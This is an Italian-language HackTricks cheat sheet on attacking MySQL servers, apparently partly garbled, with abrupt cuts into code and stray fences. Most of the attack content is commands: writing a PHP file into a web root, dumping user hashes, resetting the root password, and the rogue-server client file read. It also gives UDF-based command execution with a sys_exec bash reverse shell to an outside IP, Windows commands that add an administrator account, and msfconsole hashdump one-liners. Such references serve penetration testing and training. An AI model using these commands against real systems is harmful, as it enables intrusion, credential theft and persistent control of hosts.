# 3306 - Test di penetrazione MySQL

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.

" #Read & Write ## Yo need FILE privilege to read & write to files. select load_file('/var/lib/mysql-files/key.txt'); #Read file select 1,2,"",4 into OUTFILE 'C:/xampp/htdocs/back.php' #Try to change MySQL root password UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES; quit; ``` ```bash mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` ### Enumerazione dei permessi MySQL ```sql #Mysql SHOW GRANTS [FOR user]; SHOW GRANTS; SHOW GRANTS FOR 'root'@'localhost'; SHOW GRANTS FOR CURRENT_USER(); # Get users, permissions & hashes SELECT * FROM mysql.user; #From DB select * from mysql.user where user='root'; ## Get users with file_priv select user,file_priv from mysql.user where file_priv='Y'; ## Get users with Super_priv select user,Super_priv from mysql.user where Super_priv='Y'; # List functions SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION'; #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` Puoi vedere nella documentazione il significato di ciascun privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute) ### RCE File MySQL {% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} [mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) {% endcontent-ref %} ## Lettura arbitraria file MySQL da parte del client Attualmente, quando si tenta di **caricare dati locali in una tabella** il **contenuto di un file** il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manipolare un client mysql per connettersi al tuo server MySQL, puoi leggere file arbitrari.**\ Si prega di notare che questo è il comportamento utilizzando: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` (Nota la parola "locale")\ Perché senza la parola "locale" puoi ottenere: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **PoC Iniziale:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **In questo documento è possibile vedere una descrizione completa dell'attacco e persino come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Qui è possibile trovare una panoramica dell'attacco:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)

[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina. {% embed url="https://www.rootedcon.com/" %} ## POST ### Utente Mysql Sarebbe molto interessante se mysql fosse in esecuzione come **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### Impostazioni Pericolose di mysqld.cnf Nella configurazione dei servizi MySQL, vengono impiegate varie impostazioni per definire il suo funzionamento e le misure di sicurezza: - L'impostazione **`user`** è utilizzata per designare l'utente con cui il servizio MySQL verrà eseguito. - **`password`** è applicata per stabilire la password associata all'utente MySQL. - **`admin_address`** specifica l'indirizzo IP che ascolta le connessioni TCP/IP sull'interfaccia di rete amministrativa. - La variabile **`debug`** indica le configurazioni di debug attuali, inclusi dati sensibili nei log. - **`sql_warnings`** gestisce la generazione di stringhe di informazioni per le istruzioni di inserimento di singole righe quando compaiono avvisi, contenenti dati sensibili nei log. - Con **`secure_file_priv`**, il campo di operazioni di importazione ed esportazione dati è limitato per migliorare la sicurezza. ### Escalation dei Privilegi ```bash # Get current user (an all users) privileges and hashes use mysql; select user(); select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user; # Get users, permissions & creds SELECT * FROM mysql.user; mysql -u root --password= -e "SELECT * FROM mysql.user;" # Create user and give privileges create user test identified by 'test'; grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION; # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` ### Escalazione dei privilegi tramite libreria Se il **server mysql viene eseguito come root** (o un utente diverso con privilegi superiori) puoi farlo eseguire comandi. Per fare ciò, è necessario utilizzare le **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo su cui viene eseguito mysql. La libreria dannosa da utilizzare può essere trovata all'interno di sqlmap e all'interno di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e quelli **`.dll`** sono quelli di **Windows**, scegli quello di cui hai bisogno. Se **non hai** quelle librerie, puoi **cercarle**, o scaricare questo [**codice C per linux**](https://www.exploit-db.com/exploits/1518) e **compilarlo all'interno della macchina vulnerabile linux**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` Ora che hai la libreria, accedi a Mysql come utente privilegiato (root?) e segui i passaggi successivi: #### Linux ```sql # Use a database use mysql; # Create a table to load the library and move it to the plugins dir create table npn(line blob); # Load the binary library inside the table ## You might need to change the path and file name insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); # Get the plugin_dir path show variables like '%plugin%'; # Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ # dump in there the library select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so'; # Create a function to execute commands create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; # Execute commands select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"'); ``` #### Windows ```sql # CHech the linux comments for more indications USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll')); show variables like '%plugin%'; SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Estrarre le credenziali MySQL dai file All'interno di _/etc/mysql/debian.cnf_ è possibile trovare la **password in testo normale** dell'utente **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` Puoi **utilizzare queste credenziali per accedere al database mysql**. All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database)_._ Puoi estrarli eseguendo: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### Abilitazione del logging È possibile abilitare il logging delle query mysql all'interno di `/etc/mysql/my.cnf` decommentando le seguenti righe: ![](<../.gitbook/assets/image (899).png>) ### File utili File di configurazione * windows \* * config.ini * my.ini * windows\my.ini * winnt\my.ini * \/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf * \~/.my.cnf * /etc/my.cnf * Cronologia dei comandi * \~/.mysql.history * File di log * connections.log * update.log * common.log ## Database/Tabelle predefinite di MySQL {% tabs %} {% tab title="information_schema" %} ALL\_PLUGINS\ APPLICABLE\_ROLES\ CHARACTER\_SETS\ CHECK\_CONSTRAINTS\ COLLATIONS\ COLLATION\_CHARACTER\_SET\_APPLICABILITY\ COLUMNS\ COLUMN\_PRIVILEGES\ ENABLED\_ROLES\ ENGINES\ EVENTS\ FILES\ GLOBAL\_STATUS\ GLOBAL\_VARIABLES\ KEY\_COLUMN\_USAGE\ KEY\_CACHES\ OPTIMIZER\_TRACE\ PARAMETERS\ PARTITIONS\ PLUGINS\ PROCESSLIST\ PROFILING\ REFERENTIAL\_CONSTRAINTS\ ROUTINES\ SCHEMATA\ SCHEMA\_PRIVILEGES\ SESSION\_STATUS\ SESSION\_VARIABLES\ STATISTICS\ SYSTEM\_VARIABLES\ TABLES\ TABLESPACES\ TABLE\_CONSTRAINTS\ TABLE\_PRIVILEGES\ TRIGGERS\ USER\_PRIVILEGES\ VIEWS\ INNODB\_LOCKS\ INNODB\_TRX\ INNODB\_SYS\_DATAFILES\ INNODB\_FT\_CONFIG\ INNODB\_SYS\_VIRTUAL\ INNODB\_CMP\ INNODB\_FT\_BEING\_DELETED\ INNODB\_CMP\_RESET\ INNODB\_CMP\_PER\_INDEX\ INNODB\_CMPMEM\_RESET\ INNODB\_FT\_DELETED\ INNODB\_BUFFER\_PAGE\_LRU\ INNODB\_LOCK\_WAITS\ INNODB\_TEMP\_TABLE\_INFO\ INNODB\_SYS\_INDEXES\ INNODB\_SYS\_TABLES\ INNODB\_SYS\_FIELDS\ INNODB\_CMP\_PER\_INDEX\_RESET\ INNODB\_BUFFER\_PAGE\ INNODB\_FT\_DEFAULT\_STOPWORD\ INNODB\_FT\_INDEX\_TABLE\ INNODB\_FT\_INDEX\_CACHE\ INNODB\_SYS\_TABLESPACES\ INNODB\_METRICS\ INNODB\_SYS\_FOREIGN\_COLS\ INNODB\_CMPMEM\ INNODB\_BUFFER\_POOL\_STATS\ INNODB\_SYS\_COLUMNS\ INNODB\_SYS\_FOREIGN\ INNODB\_SYS\_TABLESTATS\ GEOMETRY\_COLUMNS\ SPATIAL\_REF\_SYS\ CLIENT\_STATISTICS\ INDEX\_STATISTICS\ USER\_STATISTICS\ INNODB\_MUTEXES\ TABLE\_STATISTICS\ INNODB\_TABLESPACES\_ENCRYPTION\ user\_variables\ INNODB\_TABLESPACES\_SCRUBBING\ INNODB\_SYS\_SEMAPHORE\_WAITS {% endtab %} {% tab title="mysql" %} columns\_priv\ column\_stats\ db\ engine\_cost\ event\ func\ general\_log\ gtid\_executed\ gtid\_slave\_pos\ help\_category\ help\_keyword\ help\_relation\ help\_topic\ host\ index\_stats\ innodb\_index\_stats\ innodb\_table\_stats\ ndb\_binlog\_index\ plugin\ proc\ procs\_priv\ proxies\_priv\ roles\_mapping\ server\_cost\ servers\ slave\_master\_info\ slave\_relay\_log\_info\ slave\_worker\_info\ slow\_log\ tables\_priv\ table\_stats\ time\_zone\ time\_zone\_leap\_second\ time\_zone\_name\ time\_zone\_transition\ time\_zone\_transition\_type\ transaction\_registry\ user {% endtab %} {% tab title="performance_schema" %} accounts\ cond\_instances\ events\_stages\_current\ events\_stages\_history\ events\_stages\_history\_long\ events\_stages\_summary\_by\_account\_by\_event\_name\ events\_stages\_summary\_by\_host\_by\_event\_name\ events\_stages\_summary\_by\_thread\_by\_event\_name\ events\_stages\_summary\_by\_user\_by\_event\_name\ events\_stages\_summary\_global\_by\_event\_name\ events\_statements\_current\ events\_statements\_history\ events\_statements\_history\_long\ events\_statements\_summary\_by\_account\_by\_event\_name\ events\_statements\_summary\_by\_digest\ events\_statements\_summary\_by\_host\_by\_event\_name\ events\_statements\_summary\_by\_program\ events\_statements\_summary\_by\_thread\_by\_event\_name\ events\_statements\_summary\_by\_user\_by\_event\_name\ events\_statements\_summary\_global\_by\_event\_name\ events\_transactions\_current\ events\_transactions\_history\ events\_transactions\_history\_long\ events\_transactions\_summary\_by\_account\_by\_event\_name\ events\_transactions\_summary\_by\_host\_by\_event\_name\ events\_transactions\_summary\_by\_thread\_by\_event\_name\ events\_transactions\_summary\_by\_user\_by\_event\_name\ events\_transactions\_summary\_global\_by\_event\_name\ events\_waits\_current\ events\_waits\_history\ events\_waits\_history\_long\ events\_waits\_summary\_by\_account\_by\_event\_name\ events\_waits\_summary\_by\_host\_by\_event\_name\ events\_waits\_summary\_by\_instance\ events\_waits\_summary\_by\_thread\_by\_event\_name\ events\_waits\_summary\_by\_user\_by\_event\_name\ events\_waits\_summary\_global\_by\_event\_name\ file\_instances\ file\_summary\_by\_event\_name\ file\_summary\_by\_instance\ global\_status\ global\_variables\ host\_cache\ hosts\ memory\_summary\_by\_account\_by\_event\_name\ memory\_summary\_by\_host\_by\_event\_name\ memory\_summary\_by\_thread\_by\_event\_name\ memory\_summary\_by\_user\_by\_event\_name\ memory\_summary\_global\_by\_event\_name\ metadata\_locks\ mutex\_instances\ objects\_summary\_global\_by\_type\ performance\_timers\ prepared\_statements\_instances\ replication\_applier\_configuration\ replication\_applier\_status\ replication\_applier\_status\_by\_coordinator\ replication\_applier\_status\_by\_worker\ replication\_connection\_configuration\ replication\_connection\_status\ replication\_group\_member\_stats\ replication\_group\_members\ rwlock\_instances\ session\_account\_connect\_attrs\ session\_connect\_attrs\ session\_status\ session\_variables\ setup\_actors\ setup\_consumers\ setup\_instruments\ setup\_objects\ setup\_timers\ socket\_instances\ socket\_summary\_by\_event\_name\ socket\_summary\_by\_instance\ status\_by\_account\ status\_by\_host\ status\_by\_thread\ status\_by\_user\ table\_handles\ table\_io\_waits\_summary\_by\_index\_usage\ table\_io\_waits\_summary\_by\_table\ table\_lock\_waits\_summary\_by\_table\ threads\ user\_variables\_by\_thread\ users\ variables\_by\_thread {% endtab %} {% tab title="sys" %} host\_summary\ host\_summary\_by\_file\_io\ host\_summary\_by\_file\_io\_type\ host\_summary\_by\_stages\ host\_summary\_by\_statement\_latency\ host\_summary\_by\_statement\_type\ innodb\_buffer\_stats\_by\_schema\ innodb\_buffer\_stats\_by\_table\ innodb\_lock\_waits\ io\_by\_thread\_by\_latency\ io\_global\_by\_file\_by\_bytes\ io\_global\_by\_file\_by\_latency\ io\_global\_by\_wait\_by\_bytes\ io\_global\_by\_wait\_by\_latency\ latest\_file\_io\ memory\_by\_host\_by\_current\_bytes\ memory\_by\_thread\_by\_current\_bytes\ memory\_by\_user\_by\_current\_bytes\ memory\_global\_by\_current\_bytes\ memory\_global\_total\ metrics\ processlist\ ps\_check\_lost\_instrumentation\ schema\_auto\_increment\_columns\ schema\_index\_statistics\ schema\_object\_overview\ schema\_redundant\_indexes\ schema\_table\_lock\_waits\ ```markdown schema_table_statistics\ schema_table_statistics_with_buffer\ schema_tables_with_full_table_scans\ schema_unused_indexes\ session\ session_ssl_status\ statement_analysis\ statements_with_errors_or_warnings\ statements_with_full_table_scans\ statements_with_runtimes_in_95th_percentile\ statements_with_sorting\ statements_with_temp_tables\ sys_config\ user_summary\ user_summary_by_file_io\ user_summary_by_file_io_type\ user_summary_by_stages\ user_summary_by_statement_latency\ user_summary_by_statement_type\ version\ wait_classes_global_by_avg_latency\ wait_classes_global_by_latency\ waits_by_host_by_latency\ waits_by_user_by_latency\ waits_global_by_latency\ x$host_summary\ x$host_summary_by_file_io\ x$host_summary_by_file_io_type\ x$host_summary_by_stages\ x$host_summary_by_statement_latency\ x$host_summary_by_statement_type\ x$innodb_buffer_stats_by_schema\ x$innodb_buffer_stats_by_table\ x$innodb_lock_waits\ x$io_by_thread_by_latency\ x$io_global_by_file_by_bytes\ x$io_global_by_file_by_latency\ x$io_global_by_wait_by_bytes\ x$io_global_by_wait_by_latency\ x$latest_file_io\ x$memory_by_host_by_current_bytes\ x$memory_by_thread_by_current_bytes\ x$memory_by_user_by_current_bytes\ x$memory_global_by_current_bytes\ x$memory_global_total\ x$processlist\ x$ps_digest_95th_percentile_by_avg_us\ x$ps_digest_avg_latency_distribution\ x$ps_schema_table_statistics_io\ x$schema_flattened_keys\ x$schema_index_statistics\ x$schema_table_lock_waits\ x$schema_table_statistics\ x$schema_table_statistics_with_buffer\ x$schema_tables_with_full_table_scans\ x$session\ x$statement_analysis\ x$statements_with_errors_or_warnings\ x$statements_with_full_table_scans\ x$statements_with_runtimes_in_95th_percentile\ x$statements_with_sorting\ x$statements_with_temp_tables\ x$user_summary\ x$user_summary_by_file_io\ x$user_summary_by_file_io_type\ x$user_summary_by_stages\ x$user_summary_by_statement_latency\ x$user_summary_by_statement_type\ x$wait_classes_global_by_avg_latency\ x$wait_classes_global_by_latency\ x$waits_by_host_by_latency\ x$waits_by_user_by_latency\ x$waits_global_by_latency {% endtab %} {% endtabs %} ``` ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. Protocol_Description: MySql #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). https://book.hacktricks.xyz/pentesting/pentesting-mysql Entry_2: Name: Nmap Description: Nmap with MySql Scripts Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306 Entry_3: Name: MySql Description: Attempt to connect to mysql server Command: mysql -h {IP} -u {Username}@localhost Entry_4: Name: MySql consolesless mfs enumeration Description: MySql enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ```

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.